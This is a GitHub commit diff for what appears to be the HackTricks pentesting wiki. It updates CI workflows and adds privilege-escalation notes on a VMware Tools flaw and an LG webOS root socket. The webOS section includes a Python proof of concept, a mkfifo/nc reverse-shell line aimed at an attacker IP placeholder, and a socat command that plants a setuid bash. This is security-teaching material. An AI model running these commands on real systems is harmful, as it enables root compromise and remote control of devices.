Skip to content

Commit 58ca1e4

Browse files
authored
Merge branch 'master' into research_update_src_pentesting-web_regular-expression-denial-of-service-redos_20251001_082618
2 parents dfb0310 + cd60902 commit 58ca1e4

File tree

16 files changed

+253
-151
lines changed

16 files changed

+253
-151
lines changed

.github/workflows/build_master.yml

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -67,13 +67,27 @@ jobs:
6767
export GH_TOKEN="$TOKEN"
6868
6969
# Delete the release if it exists
70-
if gh release view "$TAG" >/dev/null 2>&1; then
70+
echo "Checking if release $TAG exists..."
71+
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
7172
echo "Release $TAG already exists, deleting it..."
72-
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
73+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
74+
echo "Failed to delete release, trying without cleanup-tag..."
75+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
76+
echo "Warning: Could not delete existing release, will try to recreate..."
77+
}
78+
}
79+
sleep 2 # Give GitHub API a moment to process the deletion
80+
else
81+
echo "Release $TAG does not exist, proceeding with creation..."
7382
fi
7483
75-
# Create new release
76-
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
84+
# Create new release (with force flag to overwrite if deletion failed)
85+
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
86+
echo "Failed to create release, trying with force flag..."
87+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
88+
sleep 2
89+
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
90+
}
7791
7892
7993
# Login in AWs

.github/workflows/translate_all.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,7 +106,7 @@ jobs:
106106
fi
107107
done
108108
109-
echo "Files to translate:"
109+
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
110110
cat /tmp/file_paths.txt
111111
echo ""
112112
echo ""

resolve_searchindex_conflicts.sh

Lines changed: 0 additions & 139 deletions
This file was deleted.

src/README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/
226226

227227
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
228228

229-
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
229+
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
230230

231231
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
232232

@@ -253,3 +253,4 @@ welcome/hacktricks-values-and-faq.md
253253

254254
{{#include ./banners/hacktricks-training.md}}
255255

256+

src/SUMMARY.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,6 +110,7 @@
110110
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
111111
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
112112
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
113+
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
113114
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
114115
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
115116
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
@@ -949,4 +950,4 @@
949950
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
950951
- [Post Exploitation](todo/post-exploitation.md)
951952
- [Investment Terms](todo/investment-terms.md)
952-
- [Cookies Policy](todo/cookies-policy.md)
953+
- [Cookies Policy](todo/cookies-policy.md)

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,3 +124,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con
124124
- [Slither (GitHub)](https://github.com/crytic/slither)
125125

126126
{{#include ../../banners/hacktricks-training.md}}
127+

src/linux-hardening/privilege-escalation/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f
17231723
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17241724
{{#endref}}
17251725
1726+
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
1727+
1728+
Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).
1729+
1730+
Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
1731+
1732+
{{#ref}}
1733+
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
1734+
{{#endref}}
1735+
17261736
## Kernel Security Protections
17271737
17281738
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
@@ -1774,4 +1784,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17741784
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
17751785
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
17761786
1787+
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
1788+
17771789
{{#include ../../banners/hacktricks-training.md}}
1790+

src/linux-hardening/privilege-escalation/socket-command-injection.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,47 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
4343
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
4444
```
4545

46+
## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
47+
48+
Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
49+
50+
Observed pattern:
51+
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
52+
- Create a thread and obtain its native thread id (TID).
53+
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
54+
- Deliver a specific signal to that TID to trigger the privileged behaviour.
55+
56+
Minimal PoC sketch:
57+
58+
```python
59+
import socket, struct, os, threading, time
60+
# Spawn a thread so we have a TID we can signal
61+
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
62+
tid = th.native_id # Python >=3.8
63+
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
64+
s.connect("/tmp/remotelogger")
65+
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
66+
s.recv(4) # sync
67+
os.kill(tid, 4) # deliver SIGILL (example from the case)
68+
```
69+
70+
To turn this into a root shell, a simple named-pipe + nc pattern can be used:
71+
72+
```bash
73+
rm -f /tmp/f; mkfifo /tmp/f
74+
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
75+
```
76+
77+
Notes:
78+
- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
79+
- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
80+
81+
## References
82+
83+
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
84+
4685
{{#include ../../banners/hacktricks-training.md}}
4786

4887

4988

89+

0 commit comments

Comments
 (0)